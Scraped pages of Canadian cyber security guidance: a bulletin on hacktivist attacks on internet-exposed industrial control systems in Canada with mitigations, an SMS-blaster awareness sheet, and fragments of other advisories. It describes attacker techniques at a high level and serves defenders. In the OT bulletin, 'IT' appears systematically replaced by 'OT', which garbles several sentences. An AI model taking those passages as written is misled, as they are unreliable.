Wi-Fi is necessary</li> <li>Use anti-phishing protections and align email systems with Domain-based Message Authentication, Reporting, and Conformance (DMARC)</li> <li>Use an ad blocker to reduce risk from malicious ads or a tracker blocker and limit the collection of browsing activity information</li> <li>Verify files, links and attachments before downloading or opening them</li> <li>Provide regular security awareness training so users can recognize phishing emails, malicious links, fake websites and social engineering attempts</li> <li>Encourage users to report suspected phishing or malware quickly to reduce spread and impact</li> <li>Use a protective domain name system to prevent access to malicious or suspicious domains</li> <li>Monitor device data usage for suspicious or unusual activity</li> </ul><h3>Backup and data protection</h3> <ul><li>Follow the 3-2-1 backup rule: 3 copies, 2 types of media, 1 offsite</li> <li>Encrypt sensitive data stored in backups</li> </ul><h3>Zero-trust and enterprise controls</h3> <ul><li>Implement zero-trust architecture</li> <li>Use identity threat detection and response tools</li> <li>Strengthen supply chain security and monitor third-party risks</li> </ul><h2 id="7">Learn more</h2> <ul><li><a href="/en/guidance/ransomware-playbook-itsm00099">Ransomware playbook (ITSM.00.099)</a></li> <li><a href="/en/guidance/spotting-malicious-email-messages-itsap00100">Spotting malicious email messages (ITSAP.00.100)</a></li> <li><a href="/en/guidance/how-updates-secure-your-device-itsap10096">How updates secure your device (ITSAP.10.096)</a></li> <li><a href="/en/guidance/best-practices-passphrases-and-passwords-itsap30032">Best practices for passphrases and passwords (ITSAP.30.032)</a></li> <li><a href="/en/guidance/password-managers-security-itsap30025">Password managers: Security tips (ITSAP.30.025)</a></li> <li><a href="/en/guidance/protective-domain-name-system-itsap40019">Protective Domain Name System (ITSAP.40.019)</a></li> <li><a href="/en/guidance/preventative-security-tools-itsap00058">Preventative security tools (ITSAP.00.058)</a></li> <li><a href="/en/guidance/dont-take-bait-recognize-and-avoid-phishing-attacks">Don’t take the bait: Recognize and avoid phishing attacks (ITSAP.00.101)</a></li> </ul></div> </div> </div> </div> </div> </article>

<article data-history-node-id="8047" about="/en/guidance/cyber-threat-bulletin-non-state-activity-targeting-canadian-operational-technology" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Canadian Centre for Cyber Security (Cyber Centre) has continued to observe non-state cyber threat actors targeting and attempting to disrupt vulnerable, internet-exposed operational technology (OT) systems in Canada. Non-state actors often use cyber threat activity to intimidate or coerce their targets, either to influence public opinion or government decision making related to international events.</p> <p>We assess that non-state activity against Canada very likely increases around events like public statements or policy announcements by Canada that these actors perceive as being counter to their ideological goals, and around other high-profile events, for example diplomatic summits or major international sporting events, that amplify the visibility and impact of their activity. However, we assess that some non-state actors likely continuously scan for vulnerable systems in Canada and may conduct disruptive or destructive cyber threat activity at any time.</p> <p>Although some non-state actors appear to receive support from state actors, we assess that most non-state cyber threat activity against Canadian <abbr title="operational technology">OT</abbr> systems is almost certainly independently planned and executed. Relationships between state and non-state actors are frequently ad hoc, and the degree of connection can vary over time. As such, state-aligned non-state activity should not necessarily be interpreted as representing state interests or policy toward Canada.</p> <h2>Tactics, techniques, and procedures</h2> <p>A growing number of non-state actors are targeting internet-connected <abbr title="operational technology">OT</abbr> systems intending to cause disruptive or destructive effects. These actors generally demonstrate low to moderate technical sophistication but are effective due to poor exposure hygiene and insecure remote access in <abbr title="operational technology">OT</abbr> environments.</p> <p>In October 2025 alone, there were several incidents of non-state actors affecting <abbr title="operational technology">OT</abbr> systems in Canada including:</p> <ul><li>A pro-Russia non-state actor compromised a municipal water system and successfully manipulated water pressure valve controls, causing minor impacts to water service delivery.</li> <li>A pro-Hamas non-state actor gained access to a fuel tank gauging system located at an airport. The actor was able to view system information but did not gain the ability to manipulate system controls.</li> <li>A pro-Russia non-state actor gained access to a grain drying silo’s control system. The actor manipulated temperature and humidity levels within the silo, but there was no evidence that damage was caused.</li> </ul><p>This activity frequently uses publicly available scanning tools to identify internet-connected <abbr title="operational technology">OT</abbr> and exploits outdated or insecurely configured remote access tools like virtual network computing (VNC), weak or default passwords, or systems that do not use multi-factor authentication.</p> <p>After gaining access to these systems, non-state actors attempt to disrupt them by defacing system interfaces, changing configurations, and manipulating system controls. This can lead to operational disruptions, systems operating in unintended ways, and potentially physical damage to the systems. In some cases, this activity may create dangerous conditions that implicate operator or public safety.</p> <h3>Non-state actor <abbr title="operational technology">OT</abbr> <abbr title="tactics, techniques, and procedures">TTPs</abbr> mapped to <span class="text-uppercase">MITRE ATT&amp;CK</span> for <abbr title="industrial control systems">ICS</abbr></h3> <dl class="dl-horizontal"><dt>T0888 – Remote System Discovery</dt> <dd>Internet wide scanning for exposed <abbr title="operational technology">OT</abbr> systems and remote access services</dd> <dt>T0866 – Valid Accounts</dt> <dd>Exploitation of internet accessible remote access services using weak, default, or reused credentials (e.g., <abbr title="virtual network computing">VNC</abbr>, remote desktop, vendor maintenance portals)</dd> <dt>T0886 – Remote Services</dt> <dd>Use of legitimate remote services to access <abbr title="operational technology">OT</abbr> environments</dd> <dt>T0856 – Control Device Identification</dt> <dd>Direct interaction with human machine interfaces (HMIs), engineering workstations, or control system interfaces</dd> <dt>T0831 – Manipulation of Control<br /> T0809 – Modify Controller Tasking</dt> <dd>Manipulation of <abbr title="operational technology">OT</abbr> system configurations and setpoints (e.g., pressure, temperature, alarms)</dd> </dl><h2>Outlook</h2> <p>The cyber threat picture facing <abbr title="information technology">OT</abbr> and <abbr title="operational technology">OT</abbr> asset operators is deteriorating. Although Canada has avoided a high-impact <abbr title="operational technology">OT</abbr> incident to date, the expanding threat surface associated with vulnerable <abbr title="operational technology">OT</abbr> deployments and the increase in threat actor capability and intent against those systems increases the likelihood that future incidents will be more severe.</p> <p>Cyber threat actors continue to adapt their activities in response to geopolitical events, technological developments, and mitigation efforts by defenders. Artificial intelligence (AI) tools capable of supporting cyber threat activity are rapidly improving and becoming increasingly available. These tools allow even low sophistication cyber threat actors to conduct more complex and disruptive attacks against <abbr title="operational technology">OT</abbr> systems.</p> <p>The cyber threat identified in this advisory can largely be mitigated through awareness and by applying cyber security best practices. The Cyber Centre encourages <abbr title="information technology">OT</abbr> and <abbr title="operational technology">OT</abbr> system owners to implement the recommended mitigation advice below.</p> <h2>Mitigations</h2> <p>The Cyber Centre recommends that critical infrastructure organizations implement the following mitigations to help establish robust cyber defences against non-state cyber threat actors. Each of the mitigations below are linked to the Cyber Centre’s <a href="/en/cyber-security-readiness/cyber-security-readiness-goals-securing-our-most-critical-systems">Cyber Security Readiness Goals (CRGs)</a>, which are baseline practices for organizations to bolster their cyber security posture. Further details of each goal can be found in the <a href="/en/cyber-security-readiness/cross-sector-cyber-security-readiness-goals-toolkit">Cross-Sector Cyber Security Readiness Goals Toolkit</a>.</p> <h3>Primary mitigation</h3> <p>The most effective defence against this threat is the removal of <abbr title="operational technology">OT</abbr> systems from direct internet exposure and the establishment of a strictly controlled, monitored boundary between <abbr title="information technology">OT</abbr> and <abbr title="operational technology">OT</abbr> networks. Many of the additional controls below are compensating measures and are insufficient on their own if <abbr title="operational technology">OT</abbr> systems remain internet‑accessible.</p> <h3>Establish and protect the <abbr title="operational technology">OT</abbr> boundary and isolate administrative access</h3> <p><strong>Network segmentation (CRG 2.5)</strong></p> <ul><li>This will reduce the likelihood that threat actors will access the <abbr title="operational technology">OT</abbr> network after compromising the <abbr title="information technology">OT</abbr> network.</li> <li>All connections to the <abbr title="operational technology">OT</abbr> network are denied by default unless explicitly allowed (for example, by <abbr title="internet protocol">IP</abbr> address and port) for specific system functionality. Necessary communications paths between the <abbr title="information technology">OT</abbr> and <abbr title="operational technology">OT</abbr> networks must pass through an intermediary, such as a properly configured firewall, bastion host, jump box, or a demilitarized zone, which is closely monitored, captures network logs, and only allows connections from approved assets. <ul><li>Note that segmentation could break or disrupt processes and services as legacy <abbr title="operational technology">OT</abbr> environments are often flat. Segmentation should be done when possible, and under controlled processes.</li> </ul></li> </ul><p><strong>Prohibit connection of unauthorized devices (CRG 2.17)</strong></p> <ul><li>Maintain policies and processes to ensure that unauthorized media and hardware are not connected to <abbr title="operational technology">OT</abbr> assets, such as by limiting use of USB devices and removable media or disabling AutoRun.</li> <li>Establish procedures to remove, disable, or otherwise secure physical ports in <abbr title="operational technology">OT</abbr> environments to prevent the connection of unauthorized devices, or establish procedures for granting access through approved exceptions.</li> </ul><p><strong>Limit <abbr title="operational technology">OT</abbr> connections to public internet (CRG 2.18)</strong></p> <ul><li>Ensure no <abbr title="operational technology">OT</abbr> assets are on the public internet, unless explicitly required for operation.</li> <li>Require that exceptions be justified and documented and that excepted assets have additional protections in place to prevent and detect exploitation attempts. For example, logging, multi-factor authentication (MFA), mandatory access via proxy or another intermediary.</li> </ul><p><strong>No exploitable services on the internet (CRG 2.20)</strong></p> <ul><li>Ensure assets on the public internet do not expose any exploitable services, such as remote desktop protocol. Where these services must be exposed, implement appropriate compensating controls to prevent common forms of abuse and exploitation. Disable all unnecessary <abbr title="operating system">OS</abbr> applications and network protocols on internet-facing assets.</li> </ul><p><strong>Secure administrator workstation (SAW) (CRG 2.21)</strong></p> <ul><li>Provide administrators with <abbr title="secure administrator workstations">SAWs</abbr> to perform their administrative tasks. Create secure and hardened <abbr title="secure administrator workstations">SAWs</abbr> by implementing the following: <ul><li>Isolate <abbr title="secure administrator workstations">SAWs</abbr> from the public <abbr title="information technology">OT</abbr> network, and when present, from the data plane.</li> <li>Deactivate capability to install other software.</li> <li>Restrict access to the internet or email services.</li> <li>For cloud administration from this dedicated workstation, ensure it requires a <abbr title="virtual private network">VPN</abbr> or allow lists to access the cloud tenancy.</li> </ul></li> </ul><h3>Use strong access controls</h3> <p><strong>Changing default password (CRG 2.0)</strong></p> <ul><li>Enforce an organization-wide policy or process that requires changing default manufacturer passwords for all hardware, software, and firmware before putting them on any internal or external networks. This includes <abbr title="information technology">OT</abbr> assets for <abbr title="operational technology">OT</abbr>, such as <abbr title="operational technology">OT</abbr> administration web pages. This should be done in consultation with vendor advice and guidance or following an approved vendor process.</li> <li>Enforce a policy to change default credentials for all new or future devices. This reduces potential risk in the future if adversary <abbr title="tactics, techniques, and procedures">TTPs</abbr> change and requires significantly less work than changing default passwords on an organization’s existing <abbr title="operational technology">OT</abbr>.</li> </ul><p><strong>Minimum password length (CRG 2.1)</strong></p> <ul><li>Implement a system-enforced policy that requires a minimum password length of 15 or more characters for all password-protected <abbr title="operational technology">OT</abbr> assets where technically feasible.</li> <li>OT assets that use a central authentication mechanism (such as Active Directory) are most important to address. Examples of low-risk <abbr title="operational technology">OT</abbr> assets that may not be technically feasible include those in remote locations, such as on offshore rigs or wind turbines.</li> </ul><p><strong>Unique credentials (CRG 2.2)</strong></p> <ul><li>Provision unique and separate credentials for similar services and asset access on <abbr title="operational technology">OT</abbr> networks.</li> <li>Ensure users do not and cannot reuse passwords for accounts, applications, services, etc.</li> <li>Require that service accounts/machine accounts have unique passwords from all member user accounts.</li> </ul><p><strong>Separating user and privileged accounts (CRG 2.4)</strong></p> <ul><li>User accounts do not always have administrator or super-user privileges. Administrators should maintain separate user accounts for all actions and activities not associated with the administrator role (for example, for business email, web browsing).</li> <li>Reevaluate privileges on a recurring basis to validate continued need for given permissions.</li> </ul><p><strong>Phishing-resistant multi-factor authentication (MFA) (CRG 2.7)</strong></p> <ul><li>Within <abbr title="operational technology">OT</abbr> environments, enable <abbr title="multi-factor authentication">MFA</abbr> on all accounts and systems that can be accessed remotely, including vendors/maintenance accounts, remotely accessible user and engineering workstations, and remotely accessible human-machine interfaces.</li> </ul><h3>Understand and reduce exposure</h3> <p><strong>Asset inventory and network topology (CRG 1.0)</strong></p> <ul><li>Maintain a regularly updated inventory of all assets within the organization’s <abbr title="information technology">OT</abbr> (including IPv6) and <abbr title="operational technology">OT</abbr> networks (if applicable).</li> <li>Include in the inventory accurate documentation of network topology and identified data assets, in particular sensitive or classified information.</li> <li>Update this inventory on a regular basis for both <abbr title="information technology">OT</abbr> and <abbr title="operational technology">OT</abbr> and immediately log in the existing inventory any new asset that is integrated into the organization’s infrastructure.</li> </ul><p><strong>Mitigate known vulnerabilities (CRG 1.1)</strong></p> <ul><li>Patch all known exploited vulnerabilities (listed in <abbr title="Cybersecurity &amp; Infrastructure Security Agency">CISA</abbr> ‘s Known Exploited Vulnerabilities Catalog) in internet-facing systems within a risk-informed timespan, prioritizing more critical assets first. Identify security vulnerabilities in your systems by conducting penetration tests and using automated vulnerability scanning tools, activities which are part of a comprehensive vulnerability management strategy.</li> <li>For assets where patching is not possible or may substantially compromise availability or safety, apply and record compensating controls (e.g., segmentation, monitoring). Sufficient controls either make the asset inaccessible from the public internet or reduce the ability of threat actors to exploit the vulnerabilities in these assets.</li> <li>Carefully select automated vulnerability detection tools as they can scan systems aggressively. These tools may cause devices to behave erratically, stop working/crash, or restart, or need manual intervention to revert to an operational state.</li> </ul><h3>Improve detection and response</h3> <p><strong>Detection of unsuccessful (automated) login attempts (CRG 2.6)</strong></p> <ul><li>Log all unsuccessful logins and send to an organization’s security team or relevant logging system.</li> <li>Ensure security teams are notified (e.g., by an alert) after a specific number of consecutive, unsuccessful login attempts in a short period (e.g., 5 failed attempts over 2 minutes). Log and store these alerts in the relevant security or ticketing system for retroactive analysis.</li> <li>For <abbr title="information technology">OT</abbr> assets, implement a system-enforced policy that prevents future logins for the suspicious account. For example, this could be for some minimum time or until the account is re-enabled by a privileged user. Enable this configuration when available on an asset. For example, Windows 11 can automatically lock out accounts for 10 minutes after 10 incorrect logins in a 10-minute period.</li> </ul><p><strong>Log collection (CRG 2.15)</strong></p> <ul><li>Collect and store logs for use in both detection and incident response activities (e.g., forensics), including the following logs: <ul><li>access- and security-focused (e.g., intrusion detection systems / intrusion prevention systems (IDS/IDPS)</li> <li>firewalls</li> <li>data loss prevention (DLP)</li> <li>virtual private networks (VPN)</li> </ul></li> <li>Security teams are notified when a critical log source is disabled, such as Windows event logging.</li> <li>For <abbr title="operational technology">OT</abbr> assets where logs are non-standard or not available, collect network traffic and communications between those assets and other assets.</li> </ul><h3>Conduct risk assessments</h3> <p><strong>Detect relevant threat and <abbr title="tactics, techniques, and procedures">TTPs</abbr> (CRG 3.0)</strong></p> <ul><li>Document a list of threats and cyber threat actor <abbr title="tactics, techniques, and procedures">TTPs</abbr> relevant to the organization (for example, based on industry, sectors, etc.) and ensure the ability to detect instances of those key threats (for example, through rules, alerting, or commercial prevention and detection systems).</li> </ul><p>Organizations should conduct self-assessments using the <abbr title="Cyber Security Readiness Goals">CRGs</abbr> toolkit to identify gaps and track progress.</p> <h3>Develop incident response plans</h3> <p><strong>Incident response plan (CRG 1.3)</strong></p> <ul><li>Develop, maintain, update, and regularly drill <abbr title="operational technology">OT</abbr> cyber security incident response plans for both common and organization-specific threat scenarios (for example, by sector or locality) and <abbr title="tactics, techniques, and procedures">TTPs</abbr>.</li> <li>Consider engaging with appropriate stakeholders to conduct tabletop exercises focused on emerging threats such as artificial intelligence-enhanced attacks.</li> </ul><p><strong>Incident planning and preparedness (CRG 5.0)</strong></p> <ul><li>Develop, maintain, and execute plans to recover and restore to service business or mission-critical assets or systems that might be impacted by a cyber security incident.</li> <li>If a cyber incident does occur, perform a hotwash post-recovery to determine lessons learned and prevent future incidents. Integrate any lessons learned into improvements in governance processes and/or the incident response plan.</li> </ul><h3>Train staff and vendors</h3> <p><strong>Basic and <abbr title="operational technology">OT</abbr> cyber security training (CRG 2.8)</strong></p> <ul><li>Provide training that covers basic cyber security and privacy concepts, such as phishing, business email compromise, basic operational security, password security, privacy breaches, etc., and foster an internal culture of security and cyber awareness.</li> <li>Ensure that personnel who maintain or secure <abbr title="operational technology">OT</abbr> as part of their regular duties receive <abbr title="operational technology">OT</abbr>-specific cyber security training at least annually.</li> </ul><h3>Maintain backups</h3> <p><strong>System backups and redundancy (CRG 2.14)</strong></p> <ul><li>Regularly back up all systems that are necessary for operations. Determine on a case-by-case basis what systems to back up and the exact frequency since every system will have different backup and recovery requirements.</li> <li>Store backups separately from the source systems and test on a recurring basis, no less than once per year, to ensure they are usable.</li> <li>Ensure stored information for <abbr title="operational technology">OT</abbr> assets includes at a minimum: <ul><li>Configurations</li> <li>Roles</li> <li>Programmable controller (PLC) logic</li> <li>Engineering drawings</li> <li>Tools</li> </ul></li> </ul><p>These mitigations can help critical infrastructure organizations prevent non-state cyber threat actors from exploiting vulnerable systems. We encourage organizations facing a suspected cyber incident to engage with the Cyber Centre for mitigation and recovery assistance.</p> <h2>Resources</h2> <ul><li><a href="/en/guidance/national-cyber-threat-assessment-2025-2026">National Cyber Threat Assessment 2025-2026</a></li> <li><a href="/en/guidance/cyber-threat-bulletin-cyber-threat-operational-technology">Cyber Threat Bulletin: Cyber Threats to Operational Technology</a></li> <li><a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology">Cybersecurity &amp; Infrastructure Security Agency. Unsophisticated Cyber Actor(s) Targeting Operational Technology</a></li> <li><a href="https://www.justice.gov/opa/pr/justice-department-announces-actions-combat-two-russian-state-sponsored-cyber-criminal">U.S. Department of Justice. Justice Department Announces Actions to Combat Two Russian State-Sponsored Cyber Criminal Hacking Groups</a></li> <li><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">U.S. Cybersecurity &amp; Infrastructure Security Agency. Known Exploited Vulnerabilities Catalog</a></li> </ul><hr /><h2>About this document</h2> <p>This cyber bulletin aims to raise awareness among both information technology (IT) and operational technology (OT) system owners and operators and urges all Canadians to be vigilant of this threat. It builds on a Cyber Centre alert issued on October 29, 2025 on <a href="/en/alerts-advisories/al25-016-internet-accessible-industrial-control-systems-ics-abused-hacktivists">Internet-accessible industrial control systems (ICS) being abused by hacktivists</a>, and a <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-343a">joint cyber security advisory on pro-Russia hacktivism</a> authored by the Cyber Centre and international partners in December 2025, to provide additional threat context and mitigation advice.</p> <p>For follow-up questions or issues, contact the Cyber Centre at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p> <h3>Assessment base and methodology</h3> <p>The judgements in this bulletin rely on reporting from multiple sources, both classified and unclassified. They are based on the Cyber Centre’s knowledge and expertise in cyber security. Defending the Government of Canada’s information systems provides the Cyber Centre with a unique perspective to observe trends in the cyber threat environment, which also informs our assessments. The Communications Security Establishment Canada’s (CSE) foreign intelligence mandate provides us with valuable insight into adversary behaviour in cyberspace. While we must always protect classified sources and methods, we provide the reader with as much justification as possible for our judgements.</p> <p>Our judgements are based on an analytical process that includes evaluating the quality of available information, exploring alternative explanations, mitigating biases and using probabilistic language. We use terms such as "we assess" or "we judge" to convey an analytic assessment. We use qualifiers such as "possibly", "likely" and "very likely" to convey probability.</p> <p>The assessments and analysis are based on information available as of <strong>January 23, 2026.</strong></p> <div class="panel panel-default col-md-12"> <div class="panel-body"> <figure><figcaption class="mrgn-bttm-md"><h3>Estimative language guide</h3> </figcaption></figure><p class="mrgn-bttm-lg">The chart below matches estimative language with appropriate percentages. These percentages are not derived via statistical analysis, but are based on logic, available information, prior judgements and methods that increase the accuracy of estimates.</p> <img alt="Long description immediately follows" class="img-responsive center-block mrgn-bttm-lg" src="/sites/default/files/images/tarp-language-chart-transparent-e.png" /><details class="brdr-tp brdr-rght brdr-bttm brdr-lft mrgn-bttm-sm"><summary>Long description – Estimative language chart </summary><ul class="list-unstyled mrgn-tp-md"><li>1 to 9% Almost no chance</li> <li>10 to 24% Very unlikely/very improbable</li> <li>25 to 39% Unlikely/improbable</li> <li>40 to 59% Roughly even chance</li> <li>60 to 74% Likely/probably</li> <li>75 to 89% Very likely/very probable</li> <li>90 to 99% Almost certainly</li> </ul></details></div> </div> </div> </div> </div> </div> </div> </article>

This publication updates and replaces the 2021 Minimum Elements for a Software Bill of Materials published by the United States’ National Telecommunications and Information Administration.

This joint guidance is intended to support senior decision-makers within CI organizations.

<article data-history-node-id="7625" about="/en/guidance/protect-your-devices-sms-blasters-itsap00104" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>July 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Awareness series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSAP.00.104</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>July 2026 | Awareness series</strong></p> </div> <!–pdf download–> <div class="col-md-12 mrgn-tp-lg"><!–<div class="mrgn-bttm-md well well-sm col-md-4 pull-right mrgn-lft-md col-sm-12 col-xs-12"> <p class="mrgn-tp-sm"><strong>Alternate format</strong>: <a href="/sites/default/files/itsap00104-e.pdf">Protect your devices from <abbr title="short message service">SMS</abbr> blasters &nbsp;- ITSAP.00.104 (PDF,&nbsp;#&nbsp;KB)</a></p> </div>–> <p>Text messages (<abbr title="short message service">SMS</abbr>) have become one of the most common ways for threat actors to try and scam victims. <abbr title="short message service">SMS</abbr> blasters are a type of cell site simulator, which are portable devices that impersonate legitimate mobile networks to trick nearby devices to connect to them. Threat actors use <abbr title="short message service">SMS</abbr> blasters to carry out <abbr title="short message service">SMS</abbr> phishing attacks (known as smishing) and other malicious activities designed to steal sensitive or financial information or spread disinformation. This publication offers information on the threats posed by <abbr title="short message service">SMS</abbr> blasters and how to best protect yourself.</p> <section><h2 class="h3">On this page</h2> <ul><li><a href="#1">How <abbr title="short message service">SMS</abbr> blasters work</a></li> <li><a href="#2">Threats posed by <abbr title="short message service">SMS</abbr> blasters</a></li> <li><a href="#3">How to protect against <abbr title="short message service">SMS</abbr> blasters</a></li> <li><a href="#4">Learn more</a></li> </ul></section></div> </div> <h2 id="1">How <abbr title="short message service">SMS</abbr> blasters work</h2> <p><abbr title="short message service">SMS</abbr> blasters can impersonate cellular towers to take advantage of inherent or unpatched vulnerabilities found in older second generation (2G) network standards that are still supported by modern devices. 2G network standards do not enforce authentication or encryption between the mobile device and the network.</p> <p><abbr title="short message service">SMS</abbr> blasters can broadcast higher power network signals to trick nearby devices into connecting by broadcasting a stronger signal than the current connection. After the connection has been established, the <abbr title="short message service">SMS</abbr> blaster will attempt to downgrade the device to 2G mode. This allows threat actors to send an <abbr title="short message service">SMS</abbr> and bypass the protections and filters implemented by mobile network operators (MNOs) to protect their customers.</p> <h2 id="2">Threats posed by <abbr title="short message service">SMS</abbr> blasters</h2> <p><abbr title="short message service">SMS</abbr> blasters pose many threats to devices within range of a compromised device. These threats include:</p> <h3>Smishing and fraud</h3> <p>Smishing is a scam in which threat actors send fraudulent messages that look legitimate to trick victims into clicking links and attachments or sharing sensitive information. <abbr title="short message service">SMS</abbr> blasters allow threat actors to quickly send thousands of smishing messages to mobile devices within the coverage area of the device. The messages can be generic or tailored for a specific scenario, such as sporting events or conferences, or can be a notification to validate an action or your identity, such as bank authentication <abbr title="personal identification number">PIN</abbr>s.</p> <p>Threat actors can also use this opportunity to send messages using spoofed short codes commonly used by organizations to send users notifications. This can make their malicious messages even more difficult to detect as fraudulent, since they appear to come from a common number you have received alerts from before.</p> <p>Smishing scams can lead to fraud with compromised credentials, unauthorized transactions and identity theft. For more details on smishing, see the Cyber Centre’s <a href="https://www.cyber.gc.ca/en/guidance/smishing-protect-yourself-sms-attacks-itsap00103">Smishing: Protect yourself from <abbr title="short message service">SMS</abbr> attacks (ITSAP.00.103)</a>.</p> <h3>Misinformation, disinformation and malinformation</h3> <p>By using blasters to conduct smishing and fraud, threat actors can spread misinformation, disinformation and malinformation (MDM). The threat can target all devices within the coverage area of the <abbr title="short message service">SMS</abbr> blaster and spread <abbr title="misinformation, disinformation and malinformation">MDM</abbr> concerning a specific source or event. Spreading <abbr title="misinformation, disinformation and malinformation">MDM</abbr> in this context is a serious concern. It can cause harm by manipulating individuals and organizations into thinking there is a conflict or urgency.</p> <h3>Service disruption</h3> <p><abbr title="short message service">SMS</abbr> blasters can cause dropped calls, slow data speeds and strain mobile infrastructure by downgrading connected devices to the 2G network. This can affect emergency calls and connection to Internet of Things (IoT) devices.</p> <h3>Privacy and data loss</h3> <p><abbr title="short message service">SMS</abbr> blasters can collect sensitive data that includes identifiable information, such as:</p> <ul><li>unique subscriber identification (international mobile subscriber identity (IMSI))</li> <li>unique device identification (international mobile equipment identity (IMEI))</li> <li>user locations</li> </ul><p>Threat actors can further use this information as entry points for more advanced cyber campaigns.</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 id="3">How to protect against <abbr title="short message service">SMS</abbr> blasters</h2> <p><abbr title="mobile network operators">MNOs</abbr>, device manufacturers and end users should consider the following mitigation strategies to protect mobile devices from <abbr title="short message service">SMS</abbr> blasters.</p> <h3>Mitigation strategies for mobile network operators</h3> <ul><li><strong>Detect and respond quickly:</strong> <ul><li>Use tools that can spot fake cellular towers and monitor network logs for unusual activities, such as unknown neighbour cell towers, sudden handover failures and rapid disconnections and reconnections</li> <li>Implement security tools to monitor the signaling layer to identify sudden spikes in signaling volume or abnormal registration patterns that indicate a rogue base station is active</li> <li>Use analytics with spam reporting to catch abnormal <abbr title="short message service">SMS</abbr> patterns or suspicious device identification</li> </ul></li> <li><strong>Block insecure connections:</strong> Configure your network to prevent devices from being redirected to older insecure 2G connections</li> <li><strong>Share intelligence:</strong> Feed real-time network data into fraud management systems, update blocklists or malicious Uniform Resource Locators (URLs) and share threat information with other operators and government authorities</li> <li><strong>Coordinate across the industry:</strong> Collaborate with device makers and regulators to improve privacy features and strengthen defence mechanisms</li> </ul><h3>Mitigation strategies for device manufacturers</h3> <ul><li><strong>Offer users more security control:</strong> <ul><li>Provide options for users to disable 2G network connections</li> <li>Enforce the use of encryption with the mobile network</li> </ul></li> <li><strong>Improve security features:</strong> <ul><li>Offer clearly defined options for how users can select and restrict network connections</li> <li>Alert users when messages come from unauthenticated connections</li> <li>Disable 2G network usage by default</li> </ul></li> </ul><h3>Mitigation strategies for end users</h3> <ul><li><strong>Use phishing-resistant multi-factor authentication (MFA):</strong> Use passkeys or hardware security keys rather than <abbr title="short message service">SMS</abbr>-based codes and one-time passwords</li> <li><strong>Stop, verify and report:</strong> <ul><li><strong>Stop:</strong> Do not click on links or attachments in unsolicited <abbr title="short message service">SMS</abbr> and do not respond to suspicious or unexpected messages</li> <li><strong>Verify:</strong> Contact the organization or individual directly through their official channels, such as the contact information listed on their official website</li> <li><strong>Report:</strong> <ul><li>Forward the suspicious message to 7-7-2-6 (“SPAM”) or use the messaging application’s spam reporting function</li> <li>Report the incident to the Royal Canadian Mounted Police via the <a href="https://reportcyberandfraud.canada.ca/">Report cybercrime and fraud portal</a>. This will notify the appropriate organizations to initiate an investigation and take appropriate actions</li> </ul></li> </ul></li> <li><strong>Disable 2G:</strong> <ul><li>Turn off 2G network connections in your phone’s settings, if the option is available</li> <li>Contact your mobile provider if you don’t have the option to disable specific network connections</li> </ul></li> <li><strong>Use end-to-end encryption applications:</strong> Protect the contents within messaging and data transfer communications with applications that support end-to-end encryption</li> <li><strong>Be skeptical:</strong> Remember that legitimate organizations never ask for personal information, passwords or banking information through text messages</li> <li><strong>Install applications safely:</strong> <ul><li>Only download applications from official app stores or from developers with a verified reputation</li> <li>Use an anti-virus software to scan newly downloaded and existing apps on your device for malware</li> </ul></li> </ul><p>As <abbr title="short message service">SMS</abbr>-based authentication and notifications continue to be the default for many applications, threat actors will continue to exploit their vulnerable nature. To address these challenges, collaboration among the telecommunications industry is essential for raising awareness and implementing robust security measures.</p> <h2 id="4">Learn more</h2> <ul class="lst-spcd"><li><a href="/en/guidance/using-your-mobile-device-securely-itsap00001">Using your mobile device securely (ITSAP.00.001)</a></li> <li><a href="/en/guidance/dont-take-bait-recognize-and-avoid-phishing-attacks">Don’t take the bait: Recognize and avoid phishing attacks – ITSAP.00.101</a></li> <li><a href="/en/guidance/how-identify-misinformation-disinformation-and-malinformation-itsap00300">How to identify misinformation, disinformation, and malinformation (ITSAP.00.300)</a></li> <li><a href="/en/guidance/steps-effectively-deploying-multi-factor-authentication-mfa-itsap00105">Steps for effectively deploying multi-factor authentication (MFA) – ITSAP.00.105)</a></li> <li><a href="https://www.getcybersafe.gc.ca/en/blogs/reporting-spam-text-messages-7726">Reporting spam text messages to 7726</a></li> </ul></div> </div> </div> </div> </div> </article>

The joint advisory warns that Russia-sponsored threat actors associated with an advanced persistent threat group, known as Laundry Bear, are exploiting a known vulnerability in Zimbra webmail.

